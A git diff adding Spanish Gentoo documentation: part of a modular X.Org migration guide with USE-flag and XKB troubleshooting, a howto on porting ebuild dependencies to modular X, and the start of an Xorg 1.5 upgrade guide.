+<p>
+Ajuste las variables INPUT_DEVICES y VIDEO_CARDS de acuerdo a sus necesidades
+en el fichero <path>/etc/make.conf</path>. Para el ejemplo de arriba, la
+configuración mínima sería INPUT_DEVICES="<c>keyboard mouse</c>" y
+VIDEO_CARDS="<c>radeon</c>". Si no ajusta alguna de las dos variables entonces
+xorg-x11 instalará todos los controladores disponibles correspondientes. Para
+los controladores secundarios (de respaldo), puede ser interesante agregar
+los parámetros <c>vesa</c> y <c>fbdev</c> a la variable VIDEO_CARDS.
+</p>
+
+<p>
+Ahora, instale el metapaquete. Este instalará el servidor y las aplicaciones
+usuales, lo que le dará una implementación funcional del escritorio de X:
+</p>
+
+<pre caption="Instalar el metapaquete modular">
+# <i>emerge xorg-x11</i>
+# <i>etc-update</i>
+# <i>revdep-rebuild</i>
+# <i>[[ -e ~/usr-x11r6-packages ]] &amp;&amp; emerge $(&lt;~/usr-x11r6-packages)</i>
+</pre>
+
+<note>
+Si realmente desea una instalación mínima, tan solo instale
+<c>xorg-server</c>. Esto hará que se descargue sólo lo necesario para que
+pueda iniciar un servidor X.
+</note>
+
+<p>
+Note que esta instalación intenta ser lo más mínima posible, así que cosas
+como xcursor-themes no son instaladas de forma predeterminada. En el ejemplo
+particular, querría xcursor-themes si cambió la configuración del cursor
+a whiteglass, redglass o handhelds. Si usa los temas de cursor gentoo,
+gentoo-blue o gentoo-silver, entonces instale gentoo-xcursors.
+</p>
+
+<note>
+Con el X modular instalado, los controladores externos como nvidia-glx, wacom y
+también algunas aplicaciones vnc pueden no funcionar si instalan cosas a
+<path>/usr/lib/modules</path> en vez de <path>/usr/lib/xorg/modules</path>.
+Muchas de esas aplicaciones tendrán agregada la detección del X modular al
+proceso de instalación, por lo tanto, necesitarán ser reinstaladas luego de la
+instalación del X modular. Además, muchos controladores externos tiene un
+parámetro USE <c>dlloader</c> que deberá activar y a continuación recompilar
+los controladores.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Advertencias y problemas frecuentes</title>
+<section>
+<title>'emerge -u world' quiere instalar xorg-x11 6.x o virtual/x11</title>
+<body>
+
+<p>
+Esto es debido a que el árbol todavía no está adaptado a las dependencias del
+X modular. Puede ayudar a la transición leyendo el <uri
+link="/proj/es/desktop/x/x11/porting-modular-x-howto.xml">COMO: Migrar a
+X modular</uri> y reportando fallos con parches a los mantenedores de los
+paquetes. Los mantenedores estarán listados en <path>metadata.xml</path>
+en el mismo directorio del paquete en cuestión y el paquete <c>herdstat</c>
+hará que las consultas a estos últimos sean más rápidas.
+</p>
+
+<p>
+En particular, si está ejecutando el X modular en un sistema estable, puede que
+tenga problemas. Muchos paquetes funcionan sólo con el X modular en sus
+versiones de prueba (~arch), así que quizás tenga que agregar paquetes
+adicionales al fichero <path>/etc/portage/package.keywords</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>¿Qué sucedió con todos los parámetros USE?</title>
+<body>
+
+<p>
+Muchos parámetros USE presentes en la serie 6.8 de xorg-x11 desaparecieron
+o se trasladaron en la nueva versión 7.0. Aparecieron algunos nuevos, a
+continuación una explicación de aquello:
+</p>
+
+<table>
+<tr>
+ <th>Parámetro USE</th>
+ <th>¿Qué sucedió en 7.0?</th>
+</tr>
+<tr>
+ <ti>3dfx</ti>
+ <ti>En 7.0, incorpora glide-v3 desde el metapaquete xorg-x11</ti>
+</tr>
+<tr>
+ <ti>3dnow, mmx, sse</ti>
+ <ti>
+   Activada de forma predeterminada en tiempo de construcción ya que existen
+   chequeos en tiempo de compilación
+ </ti>
+</tr>
+<tr>
+ <ti>bitmap-fonts, truetype-fonts, type1-fonts</ti>
+ <ti>
+  El metapaquete xorg-x11 incorpora una pequeña selección de las fuentes
+  tipográficas más usadas. Adicionalmente puede instalar otras en
+  media-fonts/
+ </ti>
+</tr>
+<tr>
+ <ti>cjk</ti>
+ <ti>
+  Utilice USE=nls en font-misc-misc y font-sony-misc para obtener las fuentes
+  tipográficas JISX0201 japonesas. Hay más en font-jis-misc. Las fuentes
+  tipográficas chinas se encuentran en font-isas-misc y las coreanas en
+  font-daewoo-misc.
+ </ti>
+</tr>
+<tr>
+ <ti>dlloader</ti>
+ <ti>7.0 usa dlloader de forma predeterminada y elfloader no funciona.</ti>
+</tr>
+<tr>
+ <ti>doc</ti>
+ <ti>Trasladado a app-doc/xorg-docs</ti>
+</tr>
+<tr>
+ <ti>dmx</ti>
+ <ti>Incorporado en xorg-server a menos que se utilice USE=minimal</ti>
+</tr>
+<tr>
+ <ti>font-server</ti>
+ <ti>Puede instalar xfs manualmente</ti>
+</tr>
+<tr>
+ <ti>ipv6</ti>
+ <ti>
+  Trasladado a los paquetes que lo usan. Configúrelo globalmente si lo
+  desea.
+ </ti>
+</tr>
+<tr>
+ <ti>minimal</ti>
+ <ti>
+  Para obtener el mismo efecto, tan solo instale xorg-server en vez de xorg-x11.
+  Utilice USE=minimal en xorg-server para evitar la compilación de Xdmx, Xvfb
+  y Xnest. Si necesita algo aún más mínimo, observe en x11-base/kdrive.
+ </ti>
+</tr>
+<tr>
+ <ti>nls</ti>
+ <ti>
+  En la versión 7.0, USE=nls instala todas las versiones de las fuentes
+  tipográficas no-ISO8859-1</ti>
+</tr>
+<tr>
+ <ti>nocxx</ti>
+ <ti>Todavía no hay un equivalente en 7.0</ti>
+</tr>
+<tr>
+ <ti>opengl</ti>
+ <ti>
+  Cambió de nombre a "dri", la cual activa el renderizado directo en
+  xorg-server y muchos controladores. Independiente de que USE=dri esté o no
+  activado, todavía puede obtener renderizado 3D por software con Mesa.
+ </ti>
+</tr>
+<tr>
+ <ti>pam</ti>
+ <ti>
+  Trasladado a paquetes individuales que lo usan, tales como xorg-server y
+  xdm
+ </ti>
+</tr>
+<tr>
+ <ti>sdk</ti>
+ <ti>
+  7.0 debe instalar el kit de desarrollo de software (SDK) como consecuencia
+  de la modularización.
+ </ti>
+</tr>
+<tr>
+ <ti>static</ti>
+ <ti>
+  En la mayoría de los casos no tiene mucho sentido intentar compilar un
+  servidor estático en el mundo modular, puesto que el controlador no se
+  puede compilar para que quede incorporado en este.
+ </ti>
+</tr>
+<tr>
+ <ti>xprint</ti>
+ <ti>
+  En el metapaquete, incorpora libXp. En otras aplicaciones, incorpora soporte
+  para xprint. La mayoría de la gente no querra activarlo.
+ </ti>
+</tr>
+<tr>
+ <ti>xv</ti>
+ <ti>
+  Deja de ser opcional porque no ahorra mucho espacio y causa otros problemas
+  con algunos paquetes que esperan que esté activado.
+ </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>¿Qué ocurrió con todos los ficheros de configuración?</title>
+<body>
+
+<p>
+En el paquete X.Org 6.8 de Gentoo, todos los ficheros de configuración y
+scripts fueron almacenados en <path>/etc/X11</path>.
+En el X.Org modular, las localizaciones de estos ficheros se han cambiado
+-- esto es, los ficheros de configuración están todavía en
+<path>/etc/X11</path>, pero los scripts y configuraciones por defecto
+están ahora en <path>/usr/lib/X11</path> (o <path>/usr/lib64/X11</path>) y
+<path>/usr/share/X11</path>.
+</p>
+
+<p>
+Gracias a la protección de la configuración (CONFIG_PROTECT), probablemente
+usted tendrá todos sus ficheros de configuración antiguos de X.Org 6.8
+aún en <path>/etc/X11</path>, ocupando espacio y pareciendo útiles.
+</p>
+
+<p>
+Ya que estos nuevos directorios no están en CONFIG_PROTECT, es importante que
+cualquier cambio a las configuraciones por defecto se realice copiando los
+fichero relevantes a <path>/etc/X11</path> y actualizando los ficheros de
+configuración apropiados allí. De forma alternativa, pero no recomendada,
+la nueva localización puede ser ajustada para ser protegida de la
+configuración. Abajo se muestran algunos ejemplos:
+</p>
+
+<pre caption="Personalizando la inicialización de XDM">
+<comment>
+En primer lugar, copie el fichero Xsetup_0 a /etc para que esté protegido
+de la configuración.
+</comment>
+# <i>cp -a /usr/lib/X11/xdm/Xsetup_0 /etc/X11/xdm/</i>
+<comment>
+Edite el fichero y ajústelo a su gusto.
+</comment>
+<comment>
+Entonces, edite xdm-config para actualizar el camino a este fichero.
+</comment>
+# <i>nano /etc/X11/xdm/xdm-config</i>
+<comment>
+Cambie lo siguiente:
+</comment>
+    ! The following three resources set up display :0 as the console.
+    DisplayManager._0.setup:        /usr/lib/X11/xdm/Xsetup_0
+    DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+    DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+<comment>
+...a esto:
+</comment>
+    ! The following three resources set up display :0 as the console.
+    <i>DisplayManager._0.setup:        /etc/X11/xdm/Xsetup_0</i>
+    DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+    DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+</pre>
+<note>
+En sistemas multilibrería de 64-bit con el perfil no-symlink, necesitará
+cambiar la librería a lib64.
+</note>
+
+<p>
+En este ejemplo, enviado por Joe Womack, personalizaremos algunos ajustes
+<c>xterm</c>.  Esto puede ser realizado globalmente o para cada usuario.
+</p>
+
+<pre caption="Personalizando app-defaults/XTerm-color de forma global">
+<comment>
+Al igual que arriba, cree una copia del fichero en /etc de modo que esté
+protegido de la configuración:
+</comment>
+# <i>cp -a /usr/share/X11/app-defaults/XTerm-color /etc/X11/app-defaults/</i>
+<comment>
+Personalice el fichero a su gusto. Ahora, necesitaremos indicarle a Xt donde
+puede encontrar los ficheros a través de XFILESEARCHPATH. Póngalo en un
+fichero dentro de /etc/env.d:
+</comment>
+# <i>echo '# Esto aplica a la configuración para todo el sistema.' >> /etc/env.d/10xpaths</i>
+# <i>echo 'XFILESEARCHPATH=/etc/X11/%T/%N:/usr/share/X11/%T/%N' >> /etc/env.d/10xpaths</i>
+</pre>
+
+<pre caption="Personalizando app-defaults/XTerm-color de forma local">
+<comment>Hay dos formas de hacer esto:</comment>
+<comment>1) Prepare un directorio app-defaults para cada usuario:</comment>
+# <i>echo '# Esto aplica para las personalizaciones de usuario en $HOME/app-defaults.' >> /etc/env.d/10xpaths </i>
+# <i>echo 'XUSERFILESEARCHPATH=$HOME/%T/%N' >> /etc/env.d/10xpaths</i>
+
+<comment>
+2) Cree un .Xdefaults o .Xresources y copie los ajustes que quiera cambiar.
+Este ejemplo cambia todos los XTerms para que tengan el cursor naranja, se
+ejecuten como una shell de login, tengan una decoración en la barra de
+desplazamiento y un búfer de 1000 líneas de desplazamiento hacia atrás:
+</comment>
+# <i>echo '! Xterm defaults'               >> .Xresources</i>
+# <i>echo 'XTerm*CursorColor:      orange' >> .Xresources</i>
+# <i>echo 'XTerm*loginShell:       true'   >> .Xresources</i>
+# <i>echo 'XTerm*scrollBar:        true'   >> .Xresources</i>
+# <i>echo 'XTerm*saveLines:        1000'   >> .Xresources</i>
+
+<comment>
+Para que estos cambios tengan efecto, reinicie X o ejecute:
+</comment>
+# <i>xrdb -merge $HOME/.Xresources</i>
+</pre>
+
+<note>
+Lea http://www.faqs.org/faqs/x-faq/part2/section-22.html para más detalles
+sobre el ajuste de XFILESEARCHPATH y XUSERFILESEARCHPATH.  Mire en
+http://tldp.org/HOWTO/XWindow-User-HOWTO/moreconfig.html#XRESOURCES para más
+detalles sobre .Xresources.
+</note>
+
+</body>
+</section>
+<section>
+<title>Problemas con los controladores</title>
+<body>
+
+<p>
+Se nos ha informado que:
+</p>
+
+<ul>
+ <li>vesa bloquea el sistema con la tarjeta Matrox</li>
+ <li>
+  vga hace que la pantalla se vea muy extraña (dividida en cuatro partes)
+ </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Hacer que la aceleración 3D nuevamente funcione</title>
+<body>
+
+<p>
+Para obtener información de depuración que ayude a hacer que funcione el
+renderizado directo:
+</p>
+
+<pre caption="Obtener cierta información de depuración">
+# <i>grep -e EE -e WW /var/log/Xorg.0.log</i>
+# <i>LIBGL_DEBUG=verbose glxinfo</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Autodetección del protocolo del ratón</title>
+<body>
+
+<p>
+Si tiene configurado <c>"Protocol" "auto"</c> en el fichero xorg.conf en la
+sección correspondiente al ratón, puede que no funcione. Necesita especificar
+<c>"Protocol" "ExplorerPS/2"</c> o <c>"IMPS/2"</c> para que la ruedita
+funcione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Estoy obteniendo mensajes de error de que no se encuentra libbitmap o libpcidata</title>
+<body>
+
+<p>
+Asegúrese de que no existe una línea con <c>ModulePath</c> en su fichero
+<path>/etc/X11/xorg.conf</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>gdm/kdm no funciona</title>
+<body>
+
+<p>
+Si instaló el X modular en una instalación nueva de Gentoo, puede que no tenga
+el enlace simbólico <path>/usr/X11R6</path> -&gt; <path>/usr</path>. El paquete
+<c>x11-base/xorg-x11</c> asegurará que ese enlace exista durante el proceso de
+instalación.
+</p>
+
+<p>
+Puede ayudar a sacar las cosas de <path>/usr/X11R6</path> reparando los
+paquetes que instalan cosas allí y reportando fallos. También, recuerde
+reinstalar estos paquetes.
+</p>
+
+<pre caption="Paquetes que se instalan en /usr/X11R6">
+# <i>cat ~/usr-x11r6-packages</i>
+# <i>emerge --pretend $(&lt; ~/usr-x11r6-packages )</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>XKB no funciona, no puedo cambiar a terminales virtuales, etc.</title>
+<body>
+
+<ul>
+ <li>
+  Muchas disposiciones de XKB se han trasladado, consolidado o simplemente han
+  desaparecido. Dele una mirada a <path>/usr/share/X11/xkb/symbols/pc</path>
+  para ver qué le pasó a sus antiguos ajustes de XkbLayout en xorg.conf. Por
+  ejemplo, para reemplazar la antigua disposición "us_intl", tendría que
+  colocar <c>"XkbLayout" "latin"</c>, <c>"XkbOptions" "lv3:ralt_switch"</c>.
+  Para reemplazar la antigua disposición "sk_qwerty", tendría que colocar
+  <c>"XkbLayout" "sk"</c>, <c>"XkbVariant" "qwerty"</c>. En un ejemplo más
+  avanzado, quizás tenga <c>"XkbLayout" "us,sk_qwerty"</c>. Para que funcione
+  aquello, el nuevo ajuste sería <c>"XkbLayout" "us,sk"</c>, y el truco
+  es la "coma": <c>"XkbVariant" ",qwerty"</c>, ya que lo que se desea es que la
+  variante se aplique a su segunda disposición.
+ </li>
+</ul>
+
+<pre caption="Encontrar los cambios de XKB">
+<comment>Revise el fichero /var/log/Xorg.0.log y busque este mensaje:</comment>
+<comment>(WW) Couldn't load XKB keymap, falling back to pre-XKB keymap</comment>
+<comment>Si no tiene ese mensaje de error, su XKB funciona.</comment>
+# <i>grep Xkb /etc/X11/xorg.conf</i>
+        Option "XkbModel"  "logibik"
+        Option "XkbLayout"  "dvorak"
+        Option "XkbOptions" "ctrl:swapcaps"
+<comment>Primero, vea qué cambio en su disposición. Esto se encuentra en el directorio symbols/pc.</comment>
+# <i>cd /usr/share/X11/xkb/symbols/</i>
+<comment>Si tiene instalado xkbdata en vez xkeyboard-config, cámbiese al subdirectorio pc/.</comment>
+# <i>ls *dvorak*</i>
+<comment>OK, no aparece nada.</comment>
+<comment>Muchas de las disposiciones antiguas se trasladaron a sus mapas de teclados basados en el código de país.</comment>
+# <i>ls *us*</i>
+us
+<comment>Ahora, revisemos si hay una variante de xkb_symbols llamada dvorak.</comment>
+# <i>grep xkb_symbols.*dvorak us</i>
+xkb_symbols "dvorak" {
+<comment>Eso significa que en el xorg.conf necesitamos escribir Option "XkbLayout" "us"</comment>
+<comment>y Option "XkbVariant" "dvorak".</comment>
+
+<comment>Pero ahora cuando intentamos probar esto con setxkbmap, todavía obtenemos un error</comment>
+# <i>setxkbmap -model logibik -layout us -variant dvorak -option "ctrl:swapcaps"</i>
+<comment>Quizás también cambió el modelo.</comment>
+# <i>cd /usr/share/X11/xkb/rules/</i>
+# <i>grep logibik xorg.lst</i>
+<comment>Lo anterior no entrega resultados, así que ese modelo desapareció. ¿Qué habrá pasado con los modelos similares?</comment>
+# <i>grep logi* xorg.lst</i>
+  logiaccess      Logitech Access Keyboard
+  logicdit        Logitech Cordless Desktop iTouch
+  logicdp         Logitech Cordless Desktop Pro
+  logicdpa        Logitech Cordless Desktop Pro (alternate option)
+  logicdpa2       Logitech Cordless Desktop Pro (alternate option2)
+  logicdo         Logitech Cordless Desktop Optical
+  logicfn         Logitech Cordless Freedom/Desktop Navigator
+  logicdn         Logitech Cordless Desktop Navigator
+  logidak         Logitech Deluxe Access Keyboard
+  logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+  logiik          Logitech Internet Keyboard
+  logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+  logiik          Logitech Internet Keyboard
+  logiink         Logitech Internet Navigator Keyboard
+  logiultrax      Logitech Ultra-X Keyboard
+<comment>¡Fantástico! El modelo "logiik" parece similar, así que probémoslo con setxkbmap.</comment>
+# <i>setxkbmap -model logiik -layout us -variant dvorak -option "ctrl:swapcaps"</i>
+<comment>Funcionó, así que debe cambiar la línea que tenga XkbModel</comment>
+<comment>Luego de aquello, todo funciona</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Otros problemas</title>
+<body>
+
+<ul>
+ <li>
+  El paquete <c>x11-base/xorg-x11</c> ahora filtra todas las líneas que
+  contengan ModulePath y RgbPath de su fichero <path>/etc/X11/xorg.conf</path>,
+  pues ambas rutas cambiaron a partir de versiones anteriores. Asegúrese de
+  ejecutar <c>etc-update</c> para finalizar estos cambios. Si por alguna razón
+  no se filtraron, elíminelas Ud. mismo.
+ </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/x/x11/porting-modular-x-howto.xml b/xml/htdocs/proj/es/desktop/x/x11/porting-modular-x-howto.xml
new file mode 100644
index 00000000..9aee8e61
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/x/x11/porting-modular-x-howto.xml
@@ -0,0 +1,311 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/x/x11/porting-modular-x-howto.xml,v 1.2 2010/05/24 19:50:20 nimiux Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/desktop/x/x11/porting-modular-x-howto.xml" lang="es">
+<title>Migrando a X modular</title>
+
+<author title="Autor">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
+Esta guía muestra cómo migrar paquetes usados en el nuevo X.Org
+modular.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA
+     license See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-01-03</date>
+
+<chapter>
+<title>Conceptos previos</title>
+
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+Puede preguntarse, ¿por qué el simple y sencillo paquete xorg-x11 se
+convirtió en casi 300 paquetes separados? Y ciertamente tiene razón en
+esto. =) No es algo que Gentoo esté haciendo independientemente de los
+desarrolladores principales de X.Org; ellos están dividiendo todos los
+paquetes en versiones separadas y nosotros estamos siguiendo esta
+decisión.
+</p>
+
+<p>
+Puede leer los detalles en la página <uri
+link="http://www.gentoo.org/proj/es/desktop/x/x11/modular-x-howto.xml#doc_chap1_sect1">COMO:
+Migrar al servidor X modular</uri>.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Comprobación de dependencias</title>
+<section>
+<body>
+
+<p>
+Queremos enumerar las dependencias de la manera más precisa posible,
+de este modo la gente no tendrá información antigua por todos sus
+sistemas para características que nunca usa, tales como XPrint. Querrá
+depender directamente de la librería y los paquetes cabecera que
+necesite en lugar de cualquier tipo de virtual.
+</p>
+
+<p>
+Tampoco podemos garantizar que la gente todavía tenga subpaquetes
+instalados simplemente porque tienen un metabuild instalado y,
+eliminando esa posibilidad de rupturas nos ahorrará un montón de
+tiempo que habríamos empleado en marcar fallos como INVALID.
+</p>
+
+<p>
+Si encuentro algunos paquetes que dependen de los metabuilds tendré
+que, y no lo dudaré, molestar y hostigar al mantenedor por toda la
+eternidad.
+</p>
+
+<p>
+El primer paso es, bien instalar X modular, bien encontrar a alguien
+que lo tenga instalado. Esto puede realizarse en una jaula chroot --
+No hay necesidad siquiera de ejecutar X, simplemente necesita tener
+sus ficheros disponibles para la comprobación de dependencias.
+</p>
+
+<pre caption="Obteniendo los scripts necesarios">
+$ <i>wget http://dev.gentoo.org/~dberkholz/scripts/linking_libs.sh \
+	http://dev.gentoo.org/~dberkholz/scripts/included_headers.sh \
+	http://dev.gentoo.org/~betelgeuse/scripts/deputils/checkdeps.rb \
+	http://dev.gentoo.org/~betelgeuse/scripts/deputils/pkgutil.rb</i>
+</pre>
+
+<impo>
+<e>No</e> use <c>gentoolkit-0.2.1_pre9</c>, produce una salida
+incorrecta. Mire
+<uri>https://bugs.gentoo.org/show_bug.cgi?id=111501</uri>.
+</impo>
+
+<p>
+El primer guión, <c>linking_libs.sh</c>, comprueba el registro de
+compilación de su paquete para todas las librerías contra las que
+enlaza e imprime los paquetes a los que esas librerías
+pertenecen. Para obtener un registro de compilación, deberá habilitar
+PORT_LOGDIR en <path>/etc/make.conf</path> o usar redirección de la
+salida.
+</p>
+
+<pre caption="Ejecutando linking_libs.sh para el paquete gdm">
+$ <i>ls /var/log/portage/*gdm* -l</i>
+-rw-r--r-- 1 root portage 556551 2006-01-09 11:41 /var/log/portage/8430-gdm-2.8.0.7.log
+-rw-r--r-- 1 root portage    855 2006-01-09 11:42 /var/log/portage/8431-gdm-2.8.0.7.log
+$ <i>linking_libs.sh /var/log/portage/8430-gdm-2.8.0.7.log</i>
+</pre>
+
+<p>
+El segundo guión, <c>included_headers.sh</c>, barre a través del
+código fuente del paquete en busca de líneas que comiencen por
+#include y obtiene los ficheros contenidos en &lt;&gt;. Hasta el 9 de
+septiembre de 2005, funciona para ficheros include del estilo "" de la
+misma forma que para &lt;&gt;.
+</p>
+
+<p>
+El tercero de los guiones, <c>checkdeps.rb</c>, barre a través de los
+ficheros instalados por un paquete usando <c>scanelf</c> de
+pax-utils. Esto es útil para paquetes binarios o paquetes que por otra
+razón ocultan la salida de la compilación. Es un guión escrito en
+Ruby, por lo que depende de dev-lang/ruby y de app-misc/pax-utils. El
+cuarto guión, <c>pkgutil.rb</c>,es una dependencia de
+<c>checkdeps.rb</c>.
+</p>
+
+<p>
+Ejecutando el primero de los guiones, debería obtener una lista de
+paquetes correcta para RDEPEND (para las librerías) y DEPEND
+(cabeceras y librerías). Si una librería aparece en la lista RDEPEND y
+no se muestra en la lista DEPEND, desconfíe; puede tratarse de una
+"falsa dependencia," (una librería a la que se enlaza sin razón
+aparente). Un ejemplo real de una dependencia como ésta es libXt;
+muchos paquetes comprueban las cabeceras de libXt para comprobar la
+existencia de X.
+</p>
+
+<p>
+Ocasionalmente la búsqueda relativa en <c>included_headers.sh</c>
+encontrará la cabecera incorrecta ya que hay muchas con el mismo
+nombre y por lo tanto devolverá un paquete incorrecto. Normalmente
+esto es bastante obvio y así las cabeceras Windows hacen pensar que
+app-emulation/wine es una dependencia.
+</p>
+
+<p>
+Si especifica la opción <c>-d</c>, en algunas ocasiones obtendrá el
+mensaje "Not found!" de una librería o cabecera. Esto puede significar
+que ha desinstalado una cabecera que el paquete necesita desde el
+momento de su compilación, o se trata de una cabecera opcional que no
+está usando. En el caso de una librería, podría significar que ha
+desinstalado la librería o quizás era únicamente una librería estática
+construida internamente que nunca fue instalada.
+</p>
+
+<p>
+Merece la pena emplear algún tiempo en averiguar si las librerías o
+cabeceras que no se encuentran necesitan ser añadidas a la lista de
+dependencias, particularmente en el caso de las cabeceras ya que no se
+necesita tener las cabeceras instaladas para realizar el escaneo.
+</p>
+
+<p>
+En algunos casos, los paquetes requieren un servidor X de algún
+tipo. Sin embargo, si realmente no lo necesitan durante la
+instalación, le recomiendo que no lo añada a RDEPEND. Esto rompe
+instalaciones X sin cabeceras en las cuales los programas corren
+realmente en otra máquina, de modo que sólo necesita las librerías y
+cabeceras localmente.
+</p>
+
+<p>
+Hay varios servidores X en el árbol, de modo que si necesita uno, por
+favor, inclúyalos todos. Los servidores de X modulares están en
+xorg-server; hay un servidor DirectFB en xdirectfb; kdrive ofrece
+pequeños servidores X; y desde luego &lt;xorg-x11-7. Especifique la
+restricción de versiones en xorg-x11 para asegurarse un servidor X en
+lugar de un metabuild. En un futuro próximo, preveo que kdrive será
+integrado en xserver. Si necesita un servidor X, por favor, contacte
+con algún miembro del equipo X. Podemos crear un paquete virtual si
+existe un número suficiente de paquetes que lo necesiten.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Estructura de las dependencias</title>
+<section>
+<body>
+
+<p>
+Cuando añada las dependencias -- necesitará una estructura como esta:
+</p>
+
+<pre caption="Estructuras RDEPEND/DEPEND">
+RDEPEND="|| ( ( x11-libs/libXfoo
+			x11-libs/libXbar
+			blah? ( x11-libs/libXblah )
+			lo que se muestre en la ejecución de la librería
+		)
+		virtual/x11
+	)
+
+DEPEND="${RDEPEND}
+	|| ( ( x11-proto/fooproto
+			blah? ( x11-proto/blahproto )
+			lo que se muestre en la ejecucuón de ambos scripts
+		)
+		virtual/x11
+	)
+</pre>
+
+<impo>
+Algunos de los resultados producidos por los scripts <e>serán</e>
+redundantes. Si el valor RDEPEND de una de las librerías incluye otra,
+no necesitará poner ambas en las dependencias. Si el valor DEPEND de
+una librería incluye un proto, lo <e>necesitará</e> en la lista DEPEND
+del paquete, De igual modo, candidatos para las librerías que hace que
+se incluyan otras librerías son <c>libXaw</c>, <c>libXmu</c>,
+<c>libXpm</c>, <c>libXcursor</c>, <c>libXt</c>. Simplemente haga
+<c>emerge -ep $library | grep lib[SIX]</c>. También recuerde que otros
+paquetes como <c>gtk+</c> han sido migrados a dependencias modulares,
+de forma que hace que se incluyan las librerías necesarias igualmente.
+</impo>
+
+<note>
+Dos indicadores USE diferentes aparecen en X, pero uno no depende del
+otro. En este caso, necesitará, bien duplicar la dependencia de la
+sección X, bien definirla en otro lugar e incluirla como
+${X_DEPEND}. Si está definida en otro lugar, recuerde también incluir
+las partes específicas para cada indicador USE.
+</note>
+
+<p>
+El objetivo en este caso es hacerlo por defecto la nuevo X modular,
+pero permitir a la gente que también resuelva sus dependencias con el
+paquete xorg-x11 antiguo y monolítico. Estamos eliminando virtual/x11
+completamente para obligar la enumeración de las dependencias
+adecuadas.
+</p>
+
+<p>
+Para la ejecución inicial a través del árbol, el esfuerzo en la
+migración únicamente corrige los ebuilds más recientes disponibles
+para los usuarios ~arch users y cualquier cosa más reciente
+(KEYWORDS=-* o package.mask). Los mantenedores de los paquetes
+individuales pueden elegir hacer esto y permitir que las ebuilds no
+migradas gradualmente desaparezcan del árbol. Sin embargo querrán
+migrar todas sus ebuilds de una vez. Repoman pronto terminará su
+ejecución cuando cualquier ebuild tenga una dependencia fuerte con
+virtual/x11.
+</p>
+
+<impo>
+Esto debería permitir a los usuarios ~arch usar el X modular por
+defecto mientras envían usuarios no-~arch a virtual/x11.
+</impo>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Tratando los indicadores USE</title>
+<section>
+<body>
+
+<p>
+Muchas personas tienen el indicador USE xinerama desactivado. Sin
+embargo, si cuando está ejecutando <c>included_headers.sh</c>,
+x11-proto/xineramaproto se muestra como dependencia, entonces añádalo
+a DEPEND detrás del USE xinerama y añada x11-libs/libXinerama a
+RDEPEND detrás del USE xinerama.
+</p>
+
+<p>
+Caleb advirtió una buena cuestión, ésta es: ¿Cómo tratamos con todos
+los indicadores USE en paquetes que tienen una gran cantidad de
+dependencias de librería opcionales?. En muchos casos, tendrá sentido
+forzar los indicadores a on u off en todas las ocasiones. También se
+puede hacer de forma más sencilla agrupando indicadores. Asegúrese de
+que nombra los indicadores por su función y no por las librerías o
+paquetes que usan.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Poniendo sus correcciones en el árbol</title>
+<section>
+<body>
+
+<p>
+Si es un desarrollador, haga commit de los mismos. Si no, abra un
+nuevo informe de fallo, asígnelo a los mantenedores del paquete (en
+metadata.xml). Haga que bloquee el fallo <uri
+link="http://bugs.gentoo.org/112675">#112675</uri>. Adjunte un parche
+para corregir las dependencias.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/x/x11/upgrading-to-xorg-1.5.xml b/xml/htdocs/proj/es/desktop/x/x11/upgrading-to-xorg-1.5.xml
new file mode 100644
index 00000000..e2db858a
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/x/x11/upgrading-to-xorg-1.5.xml
@@ -0,0 +1,248 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/x/x11/upgrading-to-xorg-1.5.xml,v 1.2 2009/03/30 21:09:44 chiguire Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/desktop/x/x11/upgrading-to-xorg-1.5.xml">
+<title>Guía de Actualización Xorg 1.5</title>
+
+<author title="Autor">
+  <mail link="remi"/>
+</author>
+<author title="Traductor">
+  <mail link="chiguire"/>
+</author>
+
+<abstract>
+Esta guía enseña como actualizar X.org a la versión 1.5.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-03-30</date>
+
+<chapter>
+<title>Cambios del Ebuild</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    El paquete <c>x11-misc/xkbdata</c> está caducado. Si no está
+    usando su sustituto (<c>x11-misc/xkeyboard-config</c>), Portage
+    podría pedir su remoción antes del proceder con la actualización.
+  </li>
+  <li>
